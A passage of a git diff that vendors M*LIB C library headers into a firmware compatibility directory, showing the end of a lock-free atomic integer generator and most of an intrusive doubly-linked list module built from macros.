+  s->mask0 = (index == 0) ? M_GEN1NT_FULL_MASK : ~((M_GEN1NT_ONE<<(M_GEN1NT_LIMBSIZE-index))-1);
+  s->mask_master = (((M_GEN1NT_ONE << alloc) - 1) << (M_GEN1NT_LIMBSIZE-alloc)) >> M_GEN1NT_ABA_CPT;
+  atomic_init (&s->master, (m_genint_limb_ct)0);
+  for(unsigned int i = 0; i < alloc; i++)
+    atomic_init(&s->data[i], (m_genint_limb_ct)0);
+  M_GEN1NT_CONTRACT(s);
+}
+
+/* Clear an integer generator (Destructor) */
+M_P(void, m_genint, _clear, m_genint_t s)
+{
+  M_GEN1NT_CONTRACT(s);
+  M_MEMORY_FREE(m_context, atomic_ullong, s->data, s->max+1);
+  s->data = NULL;
+}
+
+/* Return the maximum integer that the generator will provide */
+M_INLINE size_t
+m_genint_size(m_genint_t s)
+{
+  M_GEN1NT_CONTRACT(s);
+  return s->n;
+}
+
+/* Get an unique integer from the integer generator.
+ * NOTE: For a typical case, the amortized cost is one CAS per pop. */
+M_INLINE unsigned int
+m_genint_pop(m_genint_t s)
+{
+  M_GEN1NT_CONTRACT(s);
+  // First read master to see which limb is not full.
+  m_genint_limb_ct master = atomic_load(&s->master);
+  // While master is not full
+  while ((master >> M_GEN1NT_ABA_CPT) != s->mask_master) {
+    // Let's get the index i of the first not full limb according to master.
+    unsigned int i = m_core_clz64(~master);
+    M_ASSERT (i < M_GEN1NT_LIMBSIZE);
+    // Let's compute the mask of this limb representing the limb as being full
+    m_genint_limb_ct mask = s->mask0;
+    mask = (i == s->max) ? mask : M_GEN1NT_FULL_MASK;
+    unsigned int bit;
+    // Let's load this limb,
+    m_genint_limb_ct next, org = atomic_load(&s->data[i]);
+    do {
+      // If it is now full, we have been preempted by another.
+      if (M_UNLIKELY (org == mask))
+        goto next_element;
+      M_ASSERT (org != M_GEN1NT_FULL_MASK);
+      // At least one bit is free in the limb. Find one.
+      bit = M_GEN1NT_LIMBSIZE - 1 - m_core_clz64(~org);
+      M_ASSERT (bit < M_GEN1NT_LIMBSIZE);
+      M_ASSERT ((org & (M_GEN1NT_ONE<<bit)) == 0);
+      M_ASSERT (i * M_GEN1NT_LIMBSIZE + M_GEN1NT_LIMBSIZE - 1 - bit < s->n);
+      // Set the integer as being used.
+      next = org | (M_GEN1NT_ONE << bit);
+      // Try to reserve the integer 
+    } while (!atomic_compare_exchange_weak (&s->data[i], &org, next));
+    // We have reserved the integer.
+    // If the limb is now full, try to update master
+    if (M_UNLIKELY(next == mask)) {
+      while (true) {
+        m_genint_limb_ct newMaster;
+        if (next == mask) {
+          newMaster = M_GEN1NT_MASTER_SET(master, i);
+        } else {
+          newMaster = M_GEN1NT_MASTER_RESET(master, i);
+        }
+        if (atomic_compare_exchange_weak (&s->master, &master, newMaster))
+          break;
+        // Fail to update. Reload limb to check if it is still full.
+        next = atomic_load(&s->data[i]);
+      }
+    }
+    // Return the new number
+    M_GEN1NT_CONTRACT(s);
+    return i * M_GEN1NT_LIMBSIZE + M_GEN1NT_LIMBSIZE - 1 - bit;
+  next_element:
+    // Reload master
+    master = atomic_load(&s->master);
+  }
+  M_GEN1NT_CONTRACT(s);
+  return M_GENINT_ERROR; // No more resource available
+}
+
+/* Restore a used integer in the integer generator.
+ * NOTE: For a typical case, the amortized cost is one CAS per pop */
+M_INLINE void
+m_genint_push(m_genint_t s, unsigned int n)
+{
+  M_GEN1NT_CONTRACT(s);
+  M_ASSERT (n < s->n);
+  const unsigned int i    = n / M_GEN1NT_LIMBSIZE;
+  const unsigned int bit  = M_GEN1NT_LIMBSIZE - 1 - (n % M_GEN1NT_LIMBSIZE);
+  m_genint_limb_ct master = atomic_load(&s->master);
+  // Load the limb
+  m_genint_limb_ct next, org = atomic_load(&s->data[i]);
+  do {
+    M_ASSERT ((org & (M_GEN1NT_ONE << bit)) != 0);
+    // Reset it
+    next = org & (~(M_GEN1NT_ONE << bit));
+    //  Try to unreserve it.
+  } while (!atomic_compare_exchange_weak (&s->data[i], &org, next));
+  // if the limb  was marked as full by master
+  m_genint_limb_ct mask = s->mask0;
+  mask = (i == s->max) ? mask : M_GEN1NT_FULL_MASK;
+  if (M_UNLIKELY (next != mask)) {
+    // Let's compute the mask of this limb representing the limb as being full
+    // Let's try to update master to say that this limb is not full
+    while (true) {
+      m_genint_limb_ct newMaster;
+      if (next == mask) {
+        newMaster = M_GEN1NT_MASTER_SET(master, i);
+      } else {
+        newMaster = M_GEN1NT_MASTER_RESET(master, i);
+      }
+      if (atomic_compare_exchange_weak (&s->master, &master, newMaster))
+        break;
+      // Fail to update. Reload limb to check if it is still full.
+      next = atomic_load(&s->data[i]);
+    }
+  }
+  M_GEN1NT_CONTRACT(s);
+}
+
+M_END_PROTECTED_CODE
+
+#endif
diff --git a/lib/subghz_unleashed_compat/include/mlib/m-i-list.h b/lib/subghz_unleashed_compat/include/mlib/m-i-list.h
new file mode 100644
index 000000000..735e79df2
--- /dev/null
+++ b/lib/subghz_unleashed_compat/include/mlib/m-i-list.h
@@ -0,0 +1,670 @@
+/*
+ * M*LIB - Intrusive List module
+ *
+ * Copyright (c) 2017-2026, Patrick Pelissier
+ * All rights reserved.
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ * + Redistributions of source code must retain the above copyright
+ *   notice, this list of conditions and the following disclaimer.
+ * + Redistributions in binary form must reproduce the above copyright
+ *   notice, this list of conditions and the following disclaimer in the
+ *   documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+ * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE REGENTS AND CONTRIBUTORS BE LIABLE FOR ANY
+ * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+ * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+ * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
+ * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+*/
+#ifndef MSTARLIB_I_LIST_H
+#define MSTARLIB_I_LIST_H
+
+#include "m-core.h"
+#include "m-list.h" // For M_L1ST_ITBASE_DEF
+
+/* Interface to add to a structure to enable intrusive doubly-linked support.
+   name: name of the intrusive list.
+   type: name of the type of the structure (aka. struct test_s) - not used currently
+   USAGE:
+     typedef struct tmp_str_s {
+      ...
+      ILIST_INTERFACE(tmpstr, struct tmp_str_s);
+      ...
+     } tmp_str_t;
+*/
+#define M_ILIST_INTERFACE(name, type)                                         \
+  struct m_il1st_head_s name
+
+
+/* Define a doubly-linked intrusive list of a given type.
+   The type needs to have ILIST_INTERFACE().
+   USAGE:
+     ILIST_DEF(name, type [, oplist_of_the_type]) */
+#define M_ILIST_DEF(name, ...)                                                \
+  M_ILIST_DEF_AS(name, M_F(name,_t), M_F(name,_it_t), __VA_ARGS__)
+
+
+/* Define a doubly-linked intrusive list of a given type
+   as the provided type name_t with the iterator named it_t.
+   The type needs to have ILIST_INTERFACE().
+   USAGE:
+     ILIST_DEF_AS(name, name_t, it_t, type [, oplist_of_the_type]) */
+#define M_ILIST_DEF_AS(name, name_t, it_t, ...)                               \
+  M_BEGIN_PROTECTED_CODE                                                      \
+  M_IL1ST_DEF_P1(M_IF_NARGS_EQ1(__VA_ARGS__)                                  \
+                ((name, __VA_ARGS__, M_GLOBAL_OPLIST_OR_DEF(__VA_ARGS__)(), name_t, it_t ), \
+                 (name, __VA_ARGS__,                                        name_t, it_t ))) \
+  M_END_PROTECTED_CODE
+
+
+/* Define the oplist of a doubly-linked intrusive list of type.
+   USAGE:
+     ILIST_OPLIST(name [, oplist_of_the_type]) */
+#define M_ILIST_OPLIST(...)                                                   \
+  M_IL1ST_OPLIST_P1(M_IF_NARGS_EQ1(__VA_ARGS__)                               \
+                ((__VA_ARGS__, M_BASIC_OPLIST),                               \
+                 (__VA_ARGS__ )))
+
+#define M_ILIST_INIT_FIELD(name, obj) do {                                    \
+    (obj).name.next = NULL;                                                   \
+    (obj).name.prev = NULL;                                                   \
+  } while(0)
+
+/*****************************************************************************/
+/******************************** INTERNAL ***********************************/
+/*****************************************************************************/
+
+/* Define the basic structure to be added in all objects. */
+typedef struct m_il1st_head_s {
+  struct m_il1st_head_s *next;
+  struct m_il1st_head_s *prev;
+} m_il1st_head_ct;
+
+/* Indirection call to allow expanding all arguments */
+#define M_IL1ST_OPLIST_P1(arg) M_IL1ST_OPLIST_P2 arg
+
+/* Validation of the given oplist */
+#define M_IL1ST_OPLIST_P2(name, oplist)                                       \
+  M_IF_OPLIST(oplist)(M_IL1ST_OPLIST_P3, M_IL1ST_OPLIST_FAILURE)(name, oplist)
+
+/* Prepare a clean compilation failure */
+#define M_IL1ST_OPLIST_FAILURE(name, oplist)                                  \
+  ((M_LIB_ERROR(ARGUMENT_OF_ILIST_OPLIST_IS_NOT_AN_OPLIST, name, oplist)))
+
+/* Define the oplist of an ilist of type */
+#define M_IL1ST_OPLIST_P3(name, oplist)                                       \
+  (INIT(M_F(name, _init)),                                                    \
+   CLEAR(M_F(name, _clear)),                                                  \
+   INIT_MOVE(M_F(name, _init_move)),                                          \
+   MOVE(M_F(name, _move)),                                                    \
+   NAME(name),                                                                \
+   TYPE(M_F(name,_ct)), GENTYPE(struct M_F(name,_s)*),                        \
+   RESET(M_F(name,_reset)),                                                   \
+   SUBTYPE(M_F(name,_subtype_ct)),                                            \
+   EMPTY_P(M_F(name,_empty_p)),                                               \
+   IT_TYPE(M_F(name,_it_ct)),                                                 \
+   IT_FIRST(M_F(name,_it)),                                                   \
+   IT_SET(M_F(name,_it_set)),                                                 \
+   IT_LAST(M_F(name,_it_last)),                                               \
+   IT_END(M_F(name,_it_end)),                                                 \
+   IT_END_P(M_F(name,_end_p)),                                                \
+   IT_LAST_P(M_F(name,_last_p)),                                              \
+   IT_EQUAL_P(M_F(name,_it_equal_p)),                                         \
+   IT_NEXT(M_F(name,_next)),                                                  \
+   IT_PREVIOUS(M_F(name,_previous)),                                          \
+   IT_REF(M_F(name,_ref)),                                                    \
+   IT_CREF(M_F(name,_cref)),                                                  \
+   IT_REMOVE(M_F(name,_remove)),                                              \
+   OPLIST(oplist),                                                            \
+   SPLICE_BACK(M_F(name,_splice_back))                                        \
+   )
+
+
+/******************************** INTERNAL ***********************************/
+
+/* Contract respected by all intrusive lists */
+#define M_IL1ST_CONTRACT(name, list) do {                                     \
+    M_ASSERT(list != NULL);                                                   \
+    M_ASSERT(list->name.prev != NULL);                                        \
+    M_ASSERT(list->name.next != NULL);                                        \
+    M_ASSERT(list->name.next->prev == &list->name);                           \
+    M_ASSERT(list->name.prev->next == &list->name);                           \
+    M_ASSERT(!(list->name.prev == &list->name) || list->name.prev == list->name.next); \
+  } while (0)
+
+#define M_IL1ST_NODE_CONTRACT(node) do {                                      \
+    M_ASSERT((node) != NULL);                                                 \
+    M_ASSERT((node)->prev != NULL);                                           \
+    M_ASSERT((node)->next != NULL);                                           \
+    M_ASSERT((node)->next->prev == node);                                     \
+    M_ASSERT((node)->prev->next == node);                                     \
+  } while (0)
+
+/* Indirection call to allow expanding all arguments */
+#define M_IL1ST_DEF_P1(arg) M_ID( M_IL1ST_DEF_P2 arg )
+
+/* Validate the oplist before going further */
+#define M_IL1ST_DEF_P2(name, type, oplist, list_t, it_t)                      \
+  M_IF_OPLIST(oplist)(M_IL1ST_DEF_P3, M_IL1ST_DEF_FAILURE)(name, type, oplist, list_t, it_t)
+
+/* Stop processing with a compilation failure */
+#define M_IL1ST_DEF_FAILURE(name, type, oplist, list_t, it_t)                 \
+  M_STATIC_FAILURE(M_LIB_NOT_AN_OPLIST, "(ILIST_DEF): the given argument is not a valid oplist: " #oplist)
+
+/* Definition of the type and function for an intrusive doubly-linked list.
+   USAGE:
+    name: name of the intrusive list
+    type: type of the object
+    oplist: oplist of the type
+    list_t: type of the intrusive list (name##_t)
+    it_t: iterator of the intrusive list (name##_it_t)
+*/
+#define M_IL1ST_DEF_P3(name, type, oplist, list_t, it_t)                      \
+  M_IL1ST_DEF_TYPE(name, type, oplist, list_t, it_t)                          \
+  M_CHECK_COMPATIBLE_OPLIST(name, 1, type, oplist)                            \
+  M_IL1ST_DEF_CORE(name, type, oplist, list_t, it_t)                          \
+  /* Used of internal macro from m-list */                                    \
+  M_L1ST_ITBASE_DEF(name, type, oplist, list_t, it_t)
+
+/* Define the type of an intrusive list */
+#define M_IL1ST_DEF_TYPE(name, type, oplist, list_t, it_t)                    \
+                                                                              \
+  /* Define the list as a structure containing pointers                       \
+   * to the front & back nodes */                                             \
+  typedef struct M_F(name, _s) {                                              \
+    struct m_il1st_head_s name;                                               \
+  } list_t[1];                                                                \
+                                                                              \
+  /* Define internal types pointers to such a list */                         \
+  typedef struct M_F(name, _s) *M_F(name, _ptr);                              \
+  typedef const struct M_F(name, _s) *M_F(name, _srcptr);                     \
+                                                                              \
+  /* Define iterator of such a list */                                        \
+  typedef struct M_F(name, _it_s) {                                           \
+    struct m_il1st_head_s *head;                                              \
+    struct m_il1st_head_s *previous;                                          \
+    struct m_il1st_head_s *current;                                           \
+    struct m_il1st_head_s *next;                                              \
+  } it_t[1];                                                                  \
+                                                                              \
+  /* Define types used by oplist */                                           \
+  typedef type   M_F(name, _subtype_ct);                                      \
+  typedef list_t M_F(name, _ct);                                              \
+  typedef it_t   M_F(name, _it_ct);                                           \
+
+/* Define core functions for intrusive lists */
+#define M_IL1ST_DEF_CORE(name, type, oplist, list_t, it_t)                    \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _init)(list_t list)                                               \
+  {                                                                           \
+    M_ASSERT (list != NULL);                                                  \
+    list->name.next = &list->name;                                            \
+    list->name.prev = &list->name;                                            \
+    M_IL1ST_CONTRACT(name, list);                                             \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _reset, list_t list)                                        \
+  {                                                                           \
+    M_IL1ST_CONTRACT(name, list);                                             \
+    for(struct m_il1st_head_s *it = list->name.next, *next ;                  \
+        it != &list->name; it = next) {                                       \
+      /* Cannot check node contract as previous node may be deleted */        \
+      type *obj = M_TYPE_FROM_FIELD(type, it,                                 \
+                                    struct m_il1st_head_s, name);             \
+      /* Read next now before the object is destroyed */                      \
+      next = it->next;                                                        \
+      M_ASSERT (next != NULL);                                                \
+      M_CALL_CLEAR(oplist, *obj);                                             \
+      /* Delete also the object if a DELETE operand is registered */          \
+      M_IF_METHOD(DEL, oplist)(M_CALL_DEL(oplist, obj), (void) 0);            \
+    }                                                                         \
+    /* Nothing remains in the list anymore */                                 \
+    list->name.next = &list->name;                                            \
+    list->name.prev = &list->name;                                            \
+    M_IL1ST_CONTRACT(name, list);                                             \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _clear, list_t list)                                        \
+  {                                                                           \
+    /* Nothing to do more than clean the list itself */                       \
+    M_F(name, _reset)M_R(list);                                               \
+    /* For safety purpose (create invalid representation of object) */        \
+    list->name.next = NULL;                                                   \
+    list->name.prev = NULL;                                                   \
+  }                                                                           \
+                                                                              \
+  M_INLINE bool                                                               \
+  M_F(name, _empty_p)(const list_t list)                                      \
+  {                                                                           \
+    M_IL1ST_CONTRACT(name, list);                                             \
+    return list->name.next == &list->name;                                    \
+  }                                                                           \
+                                                                              \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _init_move)(list_t list, list_t ref)                              \
+  {                                                                           \
+    M_IL1ST_CONTRACT(name, ref);                                              \
+    M_ASSERT (list != ref);                                                   \
+    M_F(name,_init)(list);                                                    \
+    if (!M_F(name,_empty_p)(ref)) {                                           \
+      list->name.next = ref->name.next;                                       \
+      list->name.prev = ref->name.prev;                                       \
+      list->name.next->prev = &list->name;                                    \
+      list->name.prev->next = &list->name;                                    \
+    }                                                                         \
+    ref->name.next = NULL;                                                    \
+    ref->name.prev = NULL;                                                    \
+    M_IL1ST_CONTRACT(name, list);                                             \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _move, list_t list, list_t ref)                             \
+  {                                                                           \
+    M_F(name, _clear)M_R(list);                                               \
+    M_F(name, _init_move)(list, ref);                                         \
+  }                                                                           \
+                                                                              \
+  M_INLINE size_t                                                             \
+  M_F(name, _size)(const list_t list)                                         \
+  {                                                                           \
+    M_IL1ST_CONTRACT(name, list);                                             \
+    size_t s = 0;                                                             \
+    /* Scan the full list to count the number of elements */                  \
+    for(const struct m_il1st_head_s *it = list->name.next ;                   \
+        it != &list->name; it = it->next) {                                   \
+      M_IL1ST_NODE_CONTRACT(it);                                              \
+      s++;                                                                    \
+    }                                                                         \
+    return s;                                                                 \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _push_back)(list_t list, type *obj)                               \
+  {                                                                           \
+    M_IL1ST_CONTRACT(name, list);                                             \
+    M_ASSERT (obj != NULL);                                                   \
+    struct m_il1st_head_s *prev = list->name.prev;                            \
+    list->name.prev = &obj->name;                                             \
+    obj->name.prev = prev;                                                    \
+    obj->name.next = &list->name;                                             \
+    prev->next = &obj->name;                                                  \
+    M_IL1ST_CONTRACT(name, list);                                             \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _push_front)(list_t list, type *obj)                              \
+  {                                                                           \
+    M_IL1ST_CONTRACT(name, list);                                             \
+    M_ASSERT (obj != NULL);                                                   \
+    struct m_il1st_head_s *next = list->name.next;                            \
+    list->name.next = &obj->name;                                             \
+    obj->name.next = next;                                                    \
+    obj->name.prev = &list->name;                                             \
+    next->prev = &obj->name;                                                  \
+    M_IL1ST_CONTRACT(name, list);                                             \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _push_after)(type *obj_pos, type *obj)                            \
+  {                                                                           \
+    M_ASSERT (obj_pos != NULL && obj != NULL);                                \
+    /* We don't have the list, so we have no contract at list level */        \
+    M_IL1ST_NODE_CONTRACT(&obj_pos->name);                                    \
+    struct m_il1st_head_s *next = obj_pos->name.next;                         \
+    obj_pos->name.next = &obj->name;                                          \
+    obj->name.next = next;                                                    \
+    obj->name.prev = &obj_pos->name;                                          \
+    next->prev = &obj->name;                                                  \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _init_field)(type *obj)                                           \
+  {                                                                           \
+    M_ASSERT (obj != NULL);                                                   \
+    /* Init the fields of the node. To be used in object constructor */       \
+    obj->name.next = NULL;                                                    \
+    obj->name.prev = NULL;                                                    \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _unlink)(type *obj)                                               \
+  {                                                                           \
+    M_ASSERT (obj != NULL);                                                   \
+    /* We don't have the list, so we have no contract at list level */        \
+    M_IL1ST_NODE_CONTRACT(&obj->name);                                        \
+    struct m_il1st_head_s *next = obj->name.next;                             \
+    struct m_il1st_head_s *prev = obj->name.prev;                             \
+    next->prev = prev;                                                        \
+    prev->next = next;                                                        \
+    /* Note: not really needed, but safer */                                  \
+    obj->name.next = NULL;                                                    \
+    obj->name.prev = NULL;                                                    \
+  }                                                                           \
+                                                                              \
+  M_INLINE type *                                                             \
+  M_F(name, _back)(const list_t list)                                         \
+  {                                                                           \
+    M_IL1ST_CONTRACT(name, list);                                             \
+    M_ASSERT(!M_F(name, _empty_p)(list));                                     \
+    return M_TYPE_FROM_FIELD(type, list->name.prev,                           \
+                             struct m_il1st_head_s, name);                    \
+  }                                                                           \
+                                                                              \
+  M_INLINE type *                                                             \
+  M_F(name, _front)(const list_t list)                                        \
+  {                                                                           \
+    M_IL1ST_CONTRACT(name, list);                                             \
+    M_ASSERT(!M_F(name, _empty_p)(list));                                     \
+    return M_TYPE_FROM_FIELD(type, list->name.next,                           \
+                             struct m_il1st_head_s, name);                    \
+  }                                                                           \
+                                                                              \
+  M_INLINE type *                                                             \
+  M_F(name, _next_obj)(const list_t list, type const *obj)                    \
+  {                                                                           \
+    M_IL1ST_CONTRACT(name, list);                                             \
+    M_ASSERT (obj != NULL);                                                   \
+    M_IL1ST_NODE_CONTRACT(&obj->name);                                        \
+    return obj->name.next == &list->name ? NULL :                             \
+      M_TYPE_FROM_FIELD(type, obj->name.next,                                 \
+                        struct m_il1st_head_s, name);                         \
+  }                                                                           \
+                                                                              \
+  M_INLINE type *                                                             \
+  M_F(name, _previous_obj)(const list_t list, type const *obj)                \
+  {                                                                           \
+    M_IL1ST_CONTRACT(name, list);                                             \
+    M_ASSERT (obj != NULL);                                                   \
+    M_IL1ST_NODE_CONTRACT(&obj->name);                                        \
+    return obj->name.prev == &list->name ? NULL :                             \
+      M_TYPE_FROM_FIELD(type, obj->name.prev,                                 \
+                        struct m_il1st_head_s, name);                         \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _it)(it_t it, const list_t list)                                  \
+  {                                                                           \
+    M_IL1ST_CONTRACT(name, list);                                             \
+    M_ASSERT (it != NULL);                                                    \
+    it->head = list->name.next->prev;                                         \
+    it->current = list->name.next;                                            \
+    it->next = list->name.next->next;                                         \
+    it->previous = it->head;                                                  \
+    M_IL1ST_NODE_CONTRACT(it->current);                                       \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _it_set)(it_t it, const it_t cit)                                 \
+  {                                                                           \
+    M_ASSERT (it != NULL && cit != NULL);                                     \
+    it->head = cit->head;                                                     \
+    it->current = cit->current;                                               \
+    it->next = cit->next;                                                     \
+    it->previous = cit->previous;                                             \
+    M_IL1ST_NODE_CONTRACT(it->current);                                       \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _it_last)(it_t it, list_t const list)                             \
+  {                                                                           \
+    M_IL1ST_CONTRACT(name, list);                                             \
+    M_ASSERT (it != NULL);                                                    \
+    it->head = list->name.next->prev;                                         \
+    it->current = list->name.prev;                                            \
+    it->next = it->head;                                                      \
+    it->previous = list->name.prev->prev;                                     \
+    M_IL1ST_NODE_CONTRACT(it->current);                                       \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _it_end)(it_t it, list_t const list)                              \
+  {                                                                           \
+    M_ASSERT (it != NULL && list != NULL);                                    \
+    it->head = list->name.next->prev;                                         \
+    it->current = it->head;                                                   \
+    it->next = list->name.next;                                               \
+    it->previous = list->name.prev;                                           \
+    M_IL1ST_NODE_CONTRACT(it->current);                                       \
+  }                                                                           \
+                                                                              \
+  M_INLINE bool                                                               \
+  M_F(name, _end_p)(const it_t it)                                            \
+  {                                                                           \
+    M_ASSERT (it != NULL);                                                    \
+    M_IL1ST_NODE_CONTRACT(it->current);                                       \
+    return it->current == it->head;                                           \
+  }                                                                           \
+                                                                              \
+  M_INLINE bool                                                               \
+  M_F(name, _last_p)(const it_t it)                                           \
+  {                                                                           \
+    M_ASSERT (it != NULL);                                                    \
+    M_IL1ST_NODE_CONTRACT(it->current);                                       \
+    return it->next == it->head || it->current == it->head;                   \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _next)(it_t it)                                                   \
+  {                                                                           \
+    M_ASSERT (it != NULL);                                                    \
+    /* Cannot check node for it->current: it may have been deleted! */        \
+    /* Note: Can't set it->previous to it->current.                           \
+       it->current may have been unlinked from the list */                    \
+    it->current  = it->next;                                                  \
+    M_ASSERT (it->current != NULL);                                           \
+    it->next     = it->current->next;                                         \
+    it->previous = it->current->prev;                                         \
+    M_ASSERT (it->next != NULL && it->previous != NULL);                      \
+    M_IL1ST_NODE_CONTRACT(it->current);                                       \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _previous)(it_t it)                                               \
+  {                                                                           \
+    M_ASSERT (it != NULL);                                                    \
+    /* Cannot check node for it->current: it may have been deleted! */        \
+    /* Note: Can't set it->next to it->current.                               \
+       it->current may have been unlinked from the list */                    \
+    it->current  = it->previous;                                              \
+    M_ASSERT (it->current != NULL);                                           \
+    it->next     = it->current->next;                                         \
+    it->previous = it->current->prev;                                         \
+    M_ASSERT (it->next != NULL && it->previous != NULL);                      \
+    M_IL1ST_NODE_CONTRACT(it->current);                                       \
+  }                                                                           \
+                                                                              \
+  M_INLINE bool                                                               \
+  M_F(name, _it_equal_p)(const it_t it1, const it_t it2 )                     \
+  {                                                                           \
+    M_ASSERT (it1 != NULL && it2 != NULL);                                    \
+    /* No need to check for next & previous */                                \
+    return it1->head == it2->head && it1->current == it2->current;            \
+  }                                                                           \
+                                                                              \
+  M_INLINE type *                                                             \
+  M_F(name, _ref)(const it_t it)                                              \
+  {                                                                           \
+    M_ASSERT (it != NULL && it->current != NULL);                             \
+    M_IL1ST_NODE_CONTRACT(it->current);                                       \
+    /* check if 'it' was not deleted */                                       \
+    M_ASSERT (it->current->next == it->next);                                 \
+    M_ASSERT (it->current->prev == it->previous);                             \
+    M_ASSERT (!M_F(name, _end_p)(it));                                        \
+    return M_TYPE_FROM_FIELD(type, it->current,                               \
+                             struct m_il1st_head_s, name);                    \
+  }                                                                           \
+                                                                              \
+  M_INLINE type const *                                                       \
+  M_F(name, _cref)(const it_t it)                                             \
+  {                                                                           \
+    type *ptr = M_F(name, _ref)(it);                                          \
+    return M_CONST_CAST(type, ptr);                                           \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _remove, list_t list, it_t it)                              \
+  {                                                                           \
+    M_IL1ST_CONTRACT(name, list);                                             \
+    M_IL1ST_NODE_CONTRACT(it->current);                                       \
+    (void)list;        /* list param is not used */                           \
+    type *obj = M_TYPE_FROM_FIELD(type, it->current,                          \
+                                  struct m_il1st_head_s, name);               \
+    M_F(name, _unlink)(obj);                                                  \
+    M_CALL_CLEAR(oplist, *obj);                                               \
+    M_IF_METHOD(DEL, oplist)(M_CALL_DEL(oplist, obj), (void) 0);              \
+    M_F(name, _next)(it);                                                     \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _insert)(list_t list, it_t it, type *p)                           \
+  {                                                                           \
+    M_IL1ST_CONTRACT(name, list);                                             \
+    M_IL1ST_NODE_CONTRACT(it->current);                                       \
+    type *obj = M_F(name, _ref)(it);                                          \
+    M_F(name, _push_after)(obj, p);                                           \
+    it->current = &p->name;                                                   \
+    (void) list;                                                              \
+    M_IL1ST_CONTRACT(name, list);                                             \
+  }                                                                           \
+                                                                              \
+  M_INLINE type *                                                             \
+  M_F(name, _pop_back)(list_t list)                                           \
+  {                                                                           \
+    M_IL1ST_CONTRACT(name, list);                                             \
+    M_ASSERT (!M_F(name, _empty_p)(list));                                    \
+    type *obj = M_F(name, _back)(list);                                       \
+    list->name.prev = list->name.prev->prev;                                  \
+    list->name.prev->next = &list->name;                                      \
+    return obj;                                                               \
+  }                                                                           \
+                                                                              \
+  M_INLINE type *                                                             \
+  M_F(name, _pop_front)(list_t list)                                          \
+  {                                                                           \
+    M_IL1ST_CONTRACT(name, list);                                             \
+    M_ASSERT (!M_F(name, _empty_p)(list));                                    \
+    type *obj = M_F(name, _front)(list);                                      \
+    list->name.next = list->name.next->next;                                  \
+    list->name.next->prev = &list->name;                                      \
+    return obj;                                                               \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _splice)(list_t list1, list_t list2)                              \
+  {                                                                           \
+    M_IL1ST_CONTRACT(name, list1);                                            \
+    M_IL1ST_CONTRACT(name, list2);                                            \
+    struct m_il1st_head_s *midle1 = list1->name.prev;                         \
+    struct m_il1st_head_s *midle2 = list2->name.next;                         \
+    midle1->next = midle2;                                                    \
+    midle2->prev = midle1;                                                    \
+    list1->name.prev = list2->name.prev;                                      \
+    list2->name.prev->next = &list1->name;                                    \
+    list2->name.next = &list2->name;                                          \
+    list2->name.prev = &list2->name;                                          \
+    M_IL1ST_CONTRACT(name, list1);                                            \
+    M_IL1ST_CONTRACT(name, list2);                                            \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _splice_back)(list_t nv, list_t ov, it_t it)                      \
+  {                                                                           \
+    M_IL1ST_CONTRACT(name, nv);                                               \
+    M_IL1ST_CONTRACT(name, ov);                                               \
+    M_IL1ST_NODE_CONTRACT(it->current);                                       \
+    M_ASSERT (it != NULL);                                                    \
+    (void) ov;                                                                \
+    type *obj = M_F(name, _ref)(it);                                          \
+    M_F(name, _unlink)(obj);                                                  \
+    M_F(name, _push_back)(nv, obj);                                           \
+    M_F(name, _next)(it);                                                     \
+    M_IL1ST_CONTRACT(name, nv);                                               \
+    M_IL1ST_CONTRACT(name, ov);                                               \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _splice_at)(list_t nlist, it_t npos,                              \
+                        list_t olist, it_t opos)                              \
+  {                                                                           \
+    M_IL1ST_CONTRACT(name, nlist);                                            \
+    M_IL1ST_CONTRACT(name, olist);                                            \
+    M_ASSERT (npos != NULL && opos != NULL);                                  \
+    M_ASSERT (!M_F(name, _end_p)(opos));                                      \
+    /* npos may be end */                                                     \
+    (void) olist, (void) nlist;                                               \
+    type *obj = M_F(name, _ref)(opos);                                        \
+    struct m_il1st_head_s *ref = npos->current;                               \
+    /* Remove object */                                                       \
+    M_F(name, _unlink)(obj);                                                  \
+    /* Push 'obj' after 'ref' */                                              \
